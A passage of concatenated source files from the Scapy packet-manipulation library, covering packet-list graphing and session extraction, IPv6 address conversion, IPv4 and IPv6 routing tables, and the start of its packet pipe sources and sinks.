and destination from IP and ARP layers :param type: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option :param target: filename or redirect. Defaults pipe to Imagemagick's display program :param prog: which graphviz program to use """ if getsrcdst is None: def _getsrcdst(pkt): # type: (Packet) -> Tuple[str, str] """Extract src and dst addresses""" if 'IP' in pkt: return (pkt['IP'].src, pkt['IP'].dst) if 'IPv6' in pkt: return (pkt['IPv6'].src, pkt['IPv6'].dst) if 'ARP' in pkt: return (pkt['ARP'].psrc, pkt['ARP'].pdst) raise TypeError() getsrcdst = _getsrcdst conv = {} # type: Dict[Tuple[Any, ...], Any] for elt in self.res: p = self._elt2pkt(elt) try: c = getsrcdst(p) except Exception: # No warning here: it's OK that getsrcdst() raises an # exception, since it might be, for example, a # function that expects a specific layer in each # packet. The try/except approach is faster and # considered more Pythonic than adding tests. continue if len(c) == 3: conv.setdefault(c[:2], set()).add(c[2]) else: conv[c] = conv.get(c, 0) + 1 gr = 'digraph "conv" {\n' for (s, d), l in conv.items(): gr += '\t "%s" -> "%s" [label="%s"]\n' % ( s, d, ', '.join(str(x) for x in l) if isinstance(l, set) else l ) gr += "}\n" return do_graph(gr, **kargs) def afterglow(self, src=None, # type: Optional[Callable[[_Inner], Any]] event=None, # type: Optional[Callable[[_Inner], Any]] dst=None, # type: Optional[Callable[[_Inner], Any]] **kargs # type: Any ): # type: (...) -> Any """Experimental clone attempt of http://sourceforge.net/projects/afterglow each datum is reduced as src -> event -> dst and the data are graphed. by default we have IP.src -> IP.dport -> IP.dst""" if src is None: src = lambda *x: x[0]['IP'].src if event is None: event = lambda *x: x[0]['IP'].dport if dst is None: dst = lambda *x: x[0]['IP'].dst sl = {} # type: Dict[Any, Tuple[Union[float, int], List[Any]]] el = {} # type: Dict[Any, Tuple[Union[float, int], List[Any]]] dl = {} # type: Dict[Any, int] for i in self.res: try: s, e, d = src(i), event(i), dst(i) if s in sl: n, lst = sl[s] n += 1 if e not in lst: lst.append(e) sl[s] = (n, lst) else: sl[s] = (1, [e]) if e in el: n, lst = el[e] n += 1 if d not in lst: lst.append(d) el[e] = (n, lst) else: el[e] = (1, [d]) dl[d] = dl.get(d, 0) + 1 except Exception: continue def minmax(x): # type: (Any) -> Tuple[int, int] m, M = reduce(lambda a, b: (min(a[0], b[0]), max(a[1], b[1])), ((a, a) for a in x)) if m == M: m = 0 if M == 0: M = 1 return m, M mins, maxs = minmax(x for x, _ in sl.values()) mine, maxe = minmax(x for x, _ in el.values()) mind, maxd = minmax(dl.values()) gr = 'digraph "afterglow" {\n\tedge [len=2.5];\n' gr += "# src nodes\n" for s in sl: n, _ = sl[s] n = 1 + float(n - mins) / (maxs - mins) gr += '"src.%s" [label = "%s", shape=box, fillcolor="#FF0000", style=filled, fixedsize=1, height=%.2f,width=%.2f];\n' % (repr(s), repr(s), n, n) # noqa: E501 gr += "# event nodes\n" for e in el: n, _ = el[e] n = 1 + float(n - mine) / (maxe - mine) gr += '"evt.%s" [label = "%s", shape=circle, fillcolor="#00FFFF", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (repr(e), repr(e), n, n) # noqa: E501 for d in dl: n = dl[d] n = 1 + float(n - mind) / (maxd - mind) gr += '"dst.%s" [label = "%s", shape=triangle, fillcolor="#0000ff", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (repr(d), repr(d), n, n) # noqa: E501 gr += "###\n" for s in sl: n, lst1 = sl[s] for e in lst1: gr += ' "src.%s" -> "evt.%s";\n' % (repr(s), repr(e)) for e in el: n, lst2 = el[e] for d in lst2: gr += ' "evt.%s" -> "dst.%s";\n' % (repr(e), repr(d)) gr += "}" return do_graph(gr, **kargs) def canvas_dump(self, layer_shift=0, rebuild=1): # type: (int, int) -> 'pyx.canvas.canvas' d = pyx.document.document() len_res = len(self.res) for i, res in enumerate(self.res): c = self._elt2pkt(res).canvas_dump(layer_shift=layer_shift, rebuild=rebuild) cbb = c.bbox() c.text(cbb.left(), cbb.top() + 1, r"\font\cmssfont=cmss12\cmssfont{Frame %i/%i}" % (i, len_res), [pyx.text.size.LARGE]) # noqa: E501 if conf.verb >= 2: os.write(1, b".") d.append(pyx.document.page(c, paperformat=pyx.document.paperformat.A4, # noqa: E501 margin=1 * pyx.unit.t_cm, fittosize=1)) return d def sessions( self, session_extractor=None # type: Optional[Callable[[Packet], str]] ): # type: (...) -> Dict[str, _PacketList[_Inner]] if session_extractor is None: def _session_extractor(p): # type: (Packet) -> str """Extract sessions from packets""" if 'Ether' in p: if 'IP' in p or 'IPv6' in p: ip_src_fmt = "{IP:%IP.src%}{IPv6:%IPv6.src%}" ip_dst_fmt = "{IP:%IP.dst%}{IPv6:%IPv6.dst%}" addr_fmt = (ip_src_fmt, ip_dst_fmt) if 'TCP' in p: fmt = "TCP {}:%r,TCP.sport% > {}:%r,TCP.dport%" elif 'UDP' in p: fmt = "UDP {}:%r,UDP.sport% > {}:%r,UDP.dport%" elif 'ICMP' in p: fmt = "ICMP {} > {} type=%r,ICMP.type% code=%r," \ "ICMP.code% id=%ICMP.id%" elif 'ICMPv6' in p: fmt = "ICMPv6 {} > {} type=%r,ICMPv6.type% " \ "code=%r,ICMPv6.code%" elif 'IPv6' in p: fmt = "IPv6 {} > {} nh=%IPv6.nh%" else: fmt = "IP {} > {} proto=%IP.proto%" return p.sprintf(fmt.format(*addr_fmt)) elif 'ARP' in p: return p.sprintf("ARP %ARP.psrc% > %ARP.pdst%") else: return p.sprintf("Ethernet type=%04xr,Ether.type%") return "Other" session_extractor = _session_extractor sessions = defaultdict(self.__class__) # type: DefaultDict[str, _PacketList[_Inner]] # noqa: E501 for p in self.res: sess = session_extractor( self._elt2pkt(p) ) sessions[sess].append(p) return dict(sessions) def replace(self, *args, **kargs): # type: (Any, Any) -> PacketList """ lst.replace(,[,]) lst.replace( (fld,[ov],nv),(fld,[ov,]nv),...) if ov is None, all values are replaced ex: lst.replace( IP.src, "192.168.1.1", "10.0.0.1" ) lst.replace( IP.ttl, 64 ) lst.replace( (IP.ttl, 64), (TCP.sport, 666, 777), ) """ delete_checksums = kargs.get("delete_checksums", False) x = PacketList(name="Replaced %s" % self.listname) if not isinstance(args[0], tuple): args = (args,) for _p in self.res: p = self._elt2pkt(_p) copied = False for scheme in args: fld = scheme[0] old = scheme[1] # not used if len(scheme) == 2 new = scheme[-1] for o in fld.owners: if o in p: if len(scheme) == 2 or p[o].getfieldval(fld.name) == old: # noqa: E501 if not copied: p = p.copy() if delete_checksums: p.delete_checksums() copied = True setattr(p[o], fld.name, new) x.append(p) return x def getlayer(self, cls, # type: Packet nb=None, # type: Optional[int] flt=None, # type: Optional[Dict[str, Any]] name=None, # type: Optional[str] stats=None # type: Optional[List[Type[Packet]]] ): # type: (...) -> PacketList """Returns the packet list from a given layer. See ``Packet.getlayer`` for more info. :param cls: search for a layer that is an instance of ``cls`` :type cls: Type[scapy.packet.Packet] :param nb: return the nb^th layer that is an instance of ``cls`` :type nb: Optional[int] :param flt: filter parameters for ``Packet.getlayer`` :type flt: Optional[Dict[str, Any]] :param name: optional name for the new PacketList :type name: Optional[str] :param stats: optional list of protocols to give stats on; if not specified, inherits from this PacketList. :type stats: Optional[List[Type[scapy.packet.Packet]]] :rtype: scapy.plist.PacketList """ if name is None: name = "{} layer {}".format(self.listname, cls.__name__) if stats is None: stats = self.stats getlayer_arg = {} # type: Dict[str, Any] if flt is not None: getlayer_arg.update(flt) getlayer_arg['cls'] = cls if nb is not None: getlayer_arg['nb'] = nb # Only return non-None getlayer results return PacketList([ pc for pc in ( self._elt2pkt(p).getlayer(**getlayer_arg) for p in self.res ) if pc is not None], name, stats ) class PacketList(_PacketList[Packet], BasePacketList[Packet], _CanvasDumpExtended): def sr(self, multi=False, lookahead=None): # type: (bool, Optional[int]) -> Tuple[SndRcvList, PacketList] """ Matches packets in the list :param multi: True if a packet can have multiple answers :param lookahead: Maximum number of packets between packet and answer. If 0 or None, full remaining list is scanned for answers :return: ( (matched couples), (unmatched packets) ) """ remain = self.res[:] sr = [] # type: List[QueryAnswer] i = 0 if lookahead is None or lookahead == 0: lookahead = len(remain) while i < len(remain): s = remain[i] j = i while j < min(lookahead + i, len(remain) - 1): j += 1 r = remain[j] if r.answers(s): sr.append(QueryAnswer(s, r)) if multi: remain[i]._answered = 1 remain[j]._answered = 2 continue del remain[j] del remain[i] i -= 1 break i += 1 if multi: remain = [x for x in remain if not hasattr(x, "_answered")] return SndRcvList(sr), PacketList(remain) _PacketIterable = Union[ Sequence[Packet], Packet, SetGen[Packet], _PacketList[Packet] ] class SndRcvList(_PacketList[QueryAnswer], BasePacketList[QueryAnswer], _CanvasDumpExtended): __slots__ = [] # type: List[str] def __init__(self, res=None, # type: Optional[Union[_PacketList[QueryAnswer], List[QueryAnswer]]] # noqa: E501 name="Results", # type: str stats=None # type: Optional[List[Type[Packet]]] ): # type: (...) -> None super(SndRcvList, self).__init__(res, name, stats) def _elt2pkt(self, elt): # type: (QueryAnswer) -> Packet return elt[1] def _elt2sum(self, elt): # type: (QueryAnswer) -> str return "%s ==> %s" % (elt[0].summary(), elt[1].summary()) ================================================ FILE: scapy/pton_ntop.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Convert IPv6 addresses between textual representation and binary. These functions are missing when python is compiled without IPv6 support, on Windows for instance. """ import socket import re import binascii from scapy.compat import plain_str, hex_bytes, bytes_encode, bytes_hex # Typing imports from typing import Union _IP6_ZEROS = re.compile('(?::|^)(0(?::0)+)(?::|$)') _INET6_PTON_EXC = socket.error("illegal IP address string passed to inet_pton") def _inet6_pton(addr): # type: (str) -> bytes """Convert an IPv6 address from text representation into binary form, used when socket.inet_pton is not available. """ joker_pos = None result = b"" addr = plain_str(addr) if addr == '::': return b'\x00' * 16 if addr.startswith('::'): addr = addr[1:] if addr.endswith('::'): addr = addr[:-1] parts = addr.split(":") nparts = len(parts) for i, part in enumerate(parts): if not part: # "::" indicates one or more groups of 2 null bytes if joker_pos is None: joker_pos = len(result) else: # Wildcard is only allowed once raise _INET6_PTON_EXC elif i + 1 == nparts and '.' in part: # The last part of an IPv6 address can be an IPv4 address if part.count('.') != 3: # we have to do this since socket.inet_aton('1.2') == # b'\x01\x00\x00\x02' raise _INET6_PTON_EXC try: result += socket.inet_aton(part) except socket.error: raise _INET6_PTON_EXC else: # Each part must be 16bit. Add missing zeroes before decoding. try: result += hex_bytes(part.rjust(4, "0")) except (binascii.Error, TypeError): raise _INET6_PTON_EXC # If there's a wildcard, fill up with zeros to reach 128bit (16 bytes) if joker_pos is not None: if len(result) == 16: raise _INET6_PTON_EXC result = (result[:joker_pos] + b"\x00" * (16 - len(result)) + result[joker_pos:]) if len(result) != 16: raise _INET6_PTON_EXC return result _INET_PTON = { socket.AF_INET: socket.inet_aton, socket.AF_INET6: _inet6_pton, } def inet_pton(af, addr): # type: (socket.AddressFamily, Union[bytes, str]) -> bytes """Convert an IP address from text representation into binary form.""" # Will replace Net/Net6 objects addr = plain_str(addr) # Use inet_pton if available try: if not socket.has_ipv6: raise AttributeError return socket.inet_pton(af, addr) except AttributeError: try: return _INET_PTON[af](addr) except KeyError: raise socket.error("Address family not supported by protocol") def _inet6_ntop(addr): # type: (bytes) -> str """Convert an IPv6 address from binary form into text representation, used when socket.inet_pton is not available. """ # IPv6 addresses have 128bits (16 bytes) if len(addr) != 16: raise ValueError("invalid length of packed IP address string") # Decode to hex representation address = ":".join(plain_str(bytes_hex(addr[idx:idx + 2])).lstrip('0') or '0' # noqa: E501 for idx in range(0, 16, 2)) try: # Get the longest set of zero blocks. We need to take a look # at group 1 regarding the length, as 0:0:1:0:0:2:3:4 would # have two matches: 0:0: and :0:0: where the latter is longer, # though the first one should be taken. Group 1 is in both # cases 0:0. match = max(_IP6_ZEROS.finditer(address), key=lambda m: m.end(1) - m.start(1)) return '{}::{}'.format(address[:match.start()], address[match.end():]) except ValueError: return address _INET_NTOP = { socket.AF_INET: socket.inet_ntoa, socket.AF_INET6: _inet6_ntop, } def inet_ntop(af, addr): # type: (socket.AddressFamily, bytes) -> str """Convert an IP address from binary form into text representation.""" # Use inet_ntop if available addr = bytes_encode(addr) try: if not socket.has_ipv6: raise AttributeError return socket.inet_ntop(af, addr) except AttributeError: try: return _INET_NTOP[af](addr) except KeyError: raise ValueError("unknown address family %d" % af) ================================================ FILE: scapy/py.typed ================================================ ================================================ FILE: scapy/route.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Routing and handling of network interfaces. """ from scapy.compat import plain_str from scapy.config import conf from scapy.error import Scapy_Exception, warning from scapy.interfaces import resolve_iface from scapy.utils import atol, ltoa, itom, pretty_list from typing import ( Any, Dict, List, Optional, Tuple, Union, ) ############################## # Routing/Interfaces stuff # ############################## class Route: def __init__(self): # type: () -> None self.routes = [] # type: List[Tuple[int, int, str, str, str, int]] self.invalidate_cache() if conf.route_autoload: self.resync() def invalidate_cache(self): # type: () -> None self.cache = {} # type: Dict[Tuple[str, Optional[str]], Tuple[str, str, str]] def resync(self): # type: () -> None from scapy.arch import read_routes self.invalidate_cache() self.routes = read_routes() def __repr__(self): # type: () -> str rtlst = [] # type: List[Tuple[Union[str, List[str]], ...]] for net, msk, gw, iface, addr, metric in self.routes: if_repr = resolve_iface(iface).description rtlst.append((ltoa(net), ltoa(msk), gw, if_repr, addr, str(metric))) return pretty_list(rtlst, [("Network", "Netmask", "Gateway", "Iface", "Output IP", "Metric")]) # noqa: E501 def make_route(self, host=None, # type: Optional[str] net=None, # type: Optional[str] gw=None, # type: Optional[str] dev=None, # type: Optional[str] metric=1, # type: int ): # type: (...) -> Tuple[int, int, str, str, str, int] if host is not None: thenet, msk = host, 32 elif net is not None: thenet, msk_b = net.split("/") msk = int(msk_b) else: raise Scapy_Exception("make_route: Incorrect parameters. You should specify a host or a net") # noqa: E501 if gw is None: gw = "0.0.0.0" if dev is None: if gw: nhop = gw else: nhop = thenet dev, ifaddr, _ = self.route(nhop) else: ifaddr = "0.0.0.0" # acts as a 'via' in `ip addr add` return (atol(thenet), itom(msk), gw, dev, ifaddr, metric) def add(self, *args, **kargs): # type: (*Any, **Any) -> None """Add a route to Scapy's IPv4 routing table. add(host|net, gw|dev) :param host: single IP to consider (/32) :param net: range to consider :param gw: gateway :param dev: force the interface to use :param metric: route metric Examples: - `ip route add 192.168.1.0/24 via 192.168.0.254`:: >>> conf.route.add(net="192.168.1.0/24", gw="192.168.0.254") - `ip route add 192.168.1.0/24 dev eth0`:: >>> conf.route.add(net="192.168.1.0/24", dev="eth0") - `ip route add 192.168.1.0/24 via 192.168.0.254 metric 1`:: >>> conf.route.add(net="192.168.1.0/24", gw="192.168.0.254", metric=1) """ self.invalidate_cache() self.routes.append(self.make_route(*args, **kargs)) def delt(self, *args, **kargs): # type: (*Any, **Any) -> None """Remove a route from Scapy's IPv4 routing table. delt(host|net, gw|dev) Same syntax as add() """ self.invalidate_cache() route = self.make_route(*args, **kargs) try: i = self.routes.index(route) del self.routes[i] except ValueError: raise ValueError("No matching route found!") def ifchange(self, iff, addr): # type: (str, str) -> None self.invalidate_cache() the_addr, the_msk_b = (addr.split("/") + ["32"])[:2] the_msk = itom(int(the_msk_b)) the_rawaddr = atol(the_addr) the_net = the_rawaddr & the_msk for i, route in enumerate(self.routes): net, msk, gw, iface, addr, metric = route if iff != iface: continue if gw == '0.0.0.0': self.routes[i] = (the_net, the_msk, gw, iface, the_addr, metric) # noqa: E501 else: self.routes[i] = (net, msk, gw, iface, the_addr, metric) conf.netcache.flush() def ifdel(self, iff): # type: (str) -> None self.invalidate_cache() new_routes = [] for rt in self.routes: if iff == rt[3]: continue new_routes.append(rt) self.routes = new_routes def ifadd(self, iff, addr): # type: (str, str) -> None self.invalidate_cache() the_addr, the_msk_b = (addr.split("/") + ["32"])[:2] the_msk = itom(int(the_msk_b)) the_rawaddr = atol(the_addr) the_net = the_rawaddr & the_msk self.routes.append((the_net, the_msk, '0.0.0.0', iff, the_addr, 1)) def route(self, dst=None, dev=None, verbose=conf.verb, _internal=False): # type: (Optional[str], Optional[str], int, bool) -> Tuple[str, str, str] """Returns the IPv4 routes to a host. :param dst: the IPv4 of the destination host :param dev: (optional) filtering is performed to limit search to route associated to that interface. :returns: tuple (iface, output_ip, gateway_ip) where - ``iface``: the interface used to connect to the host - ``output_ip``: the outgoing IP that will be used - ``gateway_ip``: the gateway IP that will be used """ dst = dst or "0.0.0.0" # Enable route(None) to return default route if isinstance(dst, bytes): try: dst = plain_str(dst) except UnicodeDecodeError: raise TypeError("Unknown IP address input (bytes)") if (dst, dev) in self.cache: return self.cache[(dst, dev)] # Transform "192.168.*.1-5" to one IP of the set _dst = dst.split("/")[0].replace("*", "0") while True: idx = _dst.find("-") if idx < 0: break m = (_dst[idx:] + ".").find(".") _dst = _dst[:idx] + _dst[idx + m:] atol_dst = atol(_dst) paths = [] for d, m, gw, i, a, me in self.routes: if not a: # some interfaces may not currently be connected continue if dev is not None and i != dev: continue aa = atol(a) if aa == atol_dst and aa != 0: paths.append( (0xffffffff, 1, (conf.loopback_name, a, "0.0.0.0")) # noqa: E501 ) if (atol_dst & m) == (d & m): paths.append((m, me, (i, a, gw))) if not paths: if verbose: warning("No route found for IPv4 destination %s " "(no default route?)", dst) return (dev or conf.loopback_name, "0.0.0.0", "0.0.0.0") # Choose the more specific route # Sort by greatest netmask and use metrics as a tie-breaker paths.sort(key=lambda x: (-x[0], x[1])) # Return interface ret = paths[0][2] # Check if source is 0.0.0.0. This is a 'via' route with no src. if ret[1] == "0.0.0.0" and not _internal: # Then get the source from route(gw) ret = (ret[0], self.route(ret[2], _internal=True)[1], ret[2]) self.cache[(dst, dev)] = ret return ret def get_if_bcast(self, iff): # type: (str) -> List[str] """ Return the list of broadcast addresses of an interface. """ bcast_list = [] for net, msk, _, iface, _, _ in self.routes: if net == 0: continue # Ignore default route "0.0.0.0" elif msk == 0xffffffff: continue # Ignore host-specific routes if iff != iface: continue bcast = net | (~msk & 0xffffffff) bcast_list.append(ltoa(bcast)) if not bcast_list: warning("No broadcast address found for iface %s\n", iff) return bcast_list conf.route = Route() # Update conf.iface conf.ifaces.load_confiface() ================================================ FILE: scapy/route6.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Copyright (C) 2005 Guillaume Valadon # Arnaud Ebalard """ Routing and network interface handling for IPv6. """ ############################################################################# # Routing/Interfaces stuff # ############################################################################# import socket from scapy.config import conf from scapy.interfaces import resolve_iface, NetworkInterface from scapy.utils6 import in6_ptop, in6_cidr2mask, in6_and, \ in6_islladdr, in6_ismlladdr, in6_isincluded, in6_isgladdr, \ in6_isaddr6to4, in6_ismaddr, construct_source_candidate_set, \ get_source_addr_from_candidate_set from scapy.arch import read_routes6, in6_getifaddr from scapy.pton_ntop import inet_pton, inet_ntop from scapy.error import warning, log_loading from scapy.utils import pretty_list from typing import ( Any, Dict, List, Optional, Set, Tuple, Union, ) class Route6: def __init__(self): # type: () -> None self.routes = [] # type: List[Tuple[str, int, str, str, List[str], int]] # noqa: E501 self.ipv6_ifaces = set() # type: Set[Union[str, NetworkInterface]] self.invalidate_cache() if conf.route6_autoload: self.resync() def invalidate_cache(self): # type: () -> None self.cache = {} # type: Dict[str, Tuple[str, str, str]] def flush(self): # type: () -> None self.invalidate_cache() self.routes.clear() self.ipv6_ifaces.clear() def resync(self): # type: () -> None # TODO : At the moment, resync will drop existing Teredo routes # if any. Change that ... self.invalidate_cache() self.routes = read_routes6() self.ipv6_ifaces = set() for route in self.routes: self.ipv6_ifaces.add(route[3]) if self.routes == []: log_loading.info("No IPv6 support in kernel") def __repr__(self): # type: () -> str rtlst = [] # type: List[Tuple[Union[str, List[str]], ...]] for net, msk, gw, iface, cset, metric in self.routes: if_repr = resolve_iface(iface).description rtlst.append(('%s/%i' % (net, msk), gw, if_repr, cset, str(metric))) return pretty_list(rtlst, [('Destination', 'Next Hop', "Iface", "Src candidates", "Metric")], # noqa: E501 sortBy=1) # Unlike Scapy's Route.make_route() function, we do not have 'host' and 'net' # noqa: E501 # parameters. We only have a 'dst' parameter that accepts 'prefix' and # 'prefix/prefixlen' values. def make_route(self, dst, # type: str gw=None, # type: Optional[str] dev=None, # type: Optional[str] ): # type: (...) -> Tuple[str, int, str, str, List[str], int] """Internal function : create a route for 'dst' via 'gw'. """ prefix, plen_b = (dst.split("/") + ["128"])[:2] plen = int(plen_b) if gw is None: gw = "::" if dev is None: dev, ifaddr_uniq, x = self.route(gw) ifaddr = [ifaddr_uniq] else: lifaddr = in6_getifaddr() devaddrs = (x for x in lifaddr if x[2] == dev) ifaddr = construct_source_candidate_set(prefix, plen, devaddrs) self.ipv6_ifaces.add(dev) return (prefix, plen, gw, dev, ifaddr, 1) def add(self, *args, **kargs): # type: (*Any, **Any) -> None """Ex: add(dst="2001:db8:cafe:f000::/56") add(dst="2001:db8:cafe:f000::/56", gw="2001:db8:cafe::1") add(dst="2001:db8:cafe:f000::/64", gw="2001:db8:cafe::1", dev="eth0") """ self.invalidate_cache() self.routes.append(self.make_route(*args, **kargs)) def remove_ipv6_iface(self, iface): # type: (str) -> None """ Remove the network interface 'iface' from the list of interfaces supporting IPv6. """ if not all(r[3] == iface for r in conf.route6.routes): try: self.ipv6_ifaces.remove(iface) except KeyError: pass def delt(self, dst, gw=None): # type: (str, Optional[str]) -> None """ Ex: delt(dst="::/0") delt(dst="2001:db8:cafe:f000::/56") delt(dst="2001:db8:cafe:f000::/56", gw="2001:db8:deca::1") """ tmp = dst + "/128" dst, plen_b = tmp.split('/')[:2] dst = in6_ptop(dst) plen = int(plen_b) to_del = [x for x in self.routes if in6_ptop(x[0]) == dst and x[1] == plen] if gw: gw = in6_ptop(gw) to_del = [x for x in self.routes if in6_ptop(x[2]) == gw] if len(to_del) == 0: warning("No matching route found") elif len(to_del) > 1: warning("Found more than one match. Aborting.") else: i = self.routes.index(to_del[0]) self.invalidate_cache() self.remove_ipv6_iface(self.routes[i][3]) del self.routes[i] def ifchange(self, iff, addr): # type: (str, str) -> None the_addr, the_plen_b = (addr.split("/") + ["128"])[:2] the_plen = int(the_plen_b) naddr = inet_pton(socket.AF_INET6, the_addr) nmask = in6_cidr2mask(the_plen) the_net = inet_ntop(socket.AF_INET6, in6_and(nmask, naddr)) for i, route in enumerate(self.routes): net, plen, gw, iface, _, metric = route if iface != iff: continue self.ipv6_ifaces.add(iface) if gw == '::': self.routes[i] = (the_net, the_plen, gw, iface, [the_addr], metric) # noqa: E501 else: self.routes[i] = (net, plen, gw, iface, [the_addr], metric) self.invalidate_cache() conf.netcache.in6_neighbor.flush() # type: ignore def ifdel(self, iff): # type: (str) -> None """ removes all route entries that uses 'iff' interface. """ new_routes = [] for rt in self.routes: if rt[3] != iff: new_routes.append(rt) self.invalidate_cache() self.routes = new_routes self.remove_ipv6_iface(iff) def ifadd(self, iff, addr): # type: (str, str) -> None """ Add an interface 'iff' with provided address into routing table. Ex: ifadd('eth0', '2001:bd8:cafe:1::1/64') will add following entry into # noqa: E501 Scapy6 internal routing table: Destination Next Hop iface Def src @ Metric 2001:bd8:cafe:1::/64 :: eth0 2001:bd8:cafe:1::1 1 prefix length value can be omitted. In that case, a value of 128 will be used. """ addr, plen_b = (addr.split("/") + ["128"])[:2] addr = in6_ptop(addr) plen = int(plen_b) naddr = inet_pton(socket.AF_INET6, addr) nmask = in6_cidr2mask(plen) prefix = inet_ntop(socket.AF_INET6, in6_and(nmask, naddr)) self.invalidate_cache() self.routes.append((prefix, plen, '::', iff, [addr], 1)) self.ipv6_ifaces.add(iff) def route(self, dst="", dev=None, verbose=conf.verb): # type: (str, Optional[str], int) -> Tuple[str, str, str] """ Provide best route to IPv6 destination address, based on Scapy internal routing table content. When a set of address is passed (e.g. ``2001:db8:cafe:*::1-5``) an address of the set is used. Be aware of that behavior when using wildcards in upper parts of addresses ! If 'dst' parameter is a FQDN, name resolution is performed and result is used. if optional 'dev' parameter is provided a specific interface, filtering is performed to limit search to route associated to that interface. """ dst = dst or "::/0" # Enable route(None) to return default route # Transform "2001:db8:cafe:*::1-5:0/120" to one IPv6 address of the set dst = dst.split("/")[0] savedst = dst # In case following inet_pton() fails dst = dst.replace("*", "0") idx = dst.find("-") while idx >= 0: m = (dst[idx:] + ":").find(":") dst = dst[:idx] + dst[idx + m:] idx = dst.find("-") try: inet_pton(socket.AF_INET6, dst) except socket.error: dst = socket.getaddrinfo(savedst, None, socket.AF_INET6)[0][-1][0] # TODO : Check if name resolution went well # Deal with dev-specific request for cache search k = dst if dev is not None: k = dst + "%%" + dev if k in self.cache: return self.cache[k] paths = [] # type: List[Tuple[int, int, Tuple[str, List[str], str]]] # TODO : review all kinds of addresses (scope and *cast) to see # if we are able to cope with everything possible. I'm convinced # it's not the case. # -- arnaud for p, plen, gw, iface, cset, me in self.routes: if dev is not None and iface != dev: continue if in6_isincluded(dst, p, plen): paths.append((plen, me, (iface, cset, gw))) elif (in6_ismlladdr(dst) and in6_islladdr(p) and in6_islladdr(cset[0])): # noqa: E501 paths.append((plen, me, (iface, cset, gw))) if not paths: if dst == "::1": return (conf.loopback_name, "::1", "::") else: if verbose: warning("No route found for IPv6 destination %s " "(no default route?)", dst) return (dev or conf.loopback_name, "::", "::") # Sort with longest prefix first then use metrics as a tie-breaker paths.sort(key=lambda x: (-x[0], x[1])) best_plen = (paths[0][0], paths[0][1]) paths = [x for x in paths if (x[0], x[1]) == best_plen] res = [] # type: List[Tuple[int, int, Tuple[str, str, str]]] for path in paths: # we select best source address for every route tmp_c = path[2] srcaddr = get_source_addr_from_candidate_set(dst, tmp_c[1]) if srcaddr is not None: res.append((path[0], path[1], (tmp_c[0], srcaddr, tmp_c[2]))) if res == []: warning("Found a route for IPv6 destination '%s', but no possible source address.", dst) # noqa: E501 return (conf.loopback_name, "::", "::") # Symptom : 2 routes with same weight (our weight is plen) # Solution : # - dst is unicast global. Check if it is 6to4 and we have a source # 6to4 address in those available # - dst is link local (unicast or multicast) and multiple output # interfaces are available. Take main one (conf.iface) # - if none of the previous or ambiguity persists, be lazy and keep # first one if len(res) > 1: tmp = [] # type: List[Tuple[int, int, Tuple[str, str, str]]] if in6_isgladdr(dst) and in6_isaddr6to4(dst): # TODO : see if taking the longest match between dst and # every source addresses would provide better results tmp = [x for x in res if in6_isaddr6to4(x[2][1])] elif in6_ismaddr(dst) or in6_islladdr(dst): # TODO : I'm sure we are not covering all addresses. Check that tmp = [x for x in res if x[2][0] == conf.iface] if tmp: res = tmp # Fill the cache (including dev-specific request) k = dst if dev is not None: k = dst + "%%" + dev self.cache[k] = res[0][2] return res[0][2] conf.route6 = Route6() ================================================ FILE: scapy/scapypipes.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi from queue import Queue, Empty import socket import subprocess from scapy.automaton import ObjectPipe from scapy.config import conf from scapy.compat import raw from scapy.interfaces import _GlobInterfaceType from scapy.packet import Packet from scapy.pipetool import Source, Drain, Sink from scapy.utils import ContextManagerSubprocess, PcapReader, PcapWriter from scapy.supersocket import SuperSocket from typing import ( Any, Callable, List, Optional, cast, ) class SniffSource(Source): """Read packets from an interface and send them to low exit. .. code:: +-----------+ >>-| |->> | | >-| [iface]--|-> +-----------+ If neither of the ``iface`` or ``socket`` parameters are specified, then Scapy will capture from the first network interface. :param iface: A layer 2 interface to sniff packets from. Mutually exclusive with the ``socket`` parameter. :param filter: Packet filter to use while capturing. See ``L2listen``. Not used with ``socket`` parameter. :param socket: A ``SuperSocket`` to sniff packets from. """ def __init__(self, iface=None, # type: Optional[str] filter=None, # type: Optional[Any] socket=None, # type: Optional[SuperSocket] name=None, # type: Optional[Any] ): # type: (...) -> None Source.__init__(self, name=name) if (iface or filter) and socket: raise ValueError("iface and filter options are mutually exclusive " "with socket") self.s = cast(SuperSocket, socket) self.iface = iface self.filter = filter def start(self): # type: () -> None if not self.s: self.s = conf.L2listen(iface=self.iface, filter=self.filter) def stop(self): # type: () -> None if self.s: self.s.close() def fileno(self): # type: () -> int return self.s.fileno() def deliver(self): # type: () -> None try: pkt = self.s.recv() if pkt is not None: self._send(pkt) except EOFError: self.is_exhausted = True class RdpcapSource(Source): """Read packets from a PCAP file send them to low exit. .. code:: +----------+ >>-| |->> | | >-| [pcap]--|-> +----------+ """ def __init__(self, fname, name=None): # type: (str, Optional[Any]) -> None Source.__init__(self, name=name) self.fname = fname self.f = PcapReader(self.fname) def start(self): # type: () -> None self.f = PcapReader(self.fname) self.is_exhausted = False def stop(self): # type: () -> None self.f.close() def fileno(self): # type: () -> int return self.f.fileno() def deliver(self): # type: () -> None try: p = self.f.recv() self._send(p) except EOFError: self.is_exhausted = True class InjectSink(Sink): """Packets received on low input are injected to an interface .. code:: +-----------+ >>-| |->> | | >-|--[iface] |-> +-----------+ """ def __init__(self, iface=None, name=None): # type: (Optional[_GlobInterfaceType], Optional[str]) -> None Sink.__init__(self, name=name) if iface is None: iface = conf.iface self.iface = iface def start(self): # type: () -> None self.s = conf.L2socket(iface=self.iface) def stop(self): # type: () -> None self.s.close() def push(self, msg): # type: (Packet) -> None self.s.send(msg) class Inject3Sink(InjectSink): def start(self): # type: () -> None self.s = conf.L3socket(iface=self.iface) class WrpcapSink(Sink): """ Writes :py:class:`Packet` on the low entry to a ``pcap`` file. Ignores all messages on the high entry. .. note:: Due to limitations of the ``pcap`` format, all packets **must** be of the same link type. This class will not mutate packets to conform with the expected link type. .. code:: +----------+ >>-| |->> | | >-|--[pcap] |-> 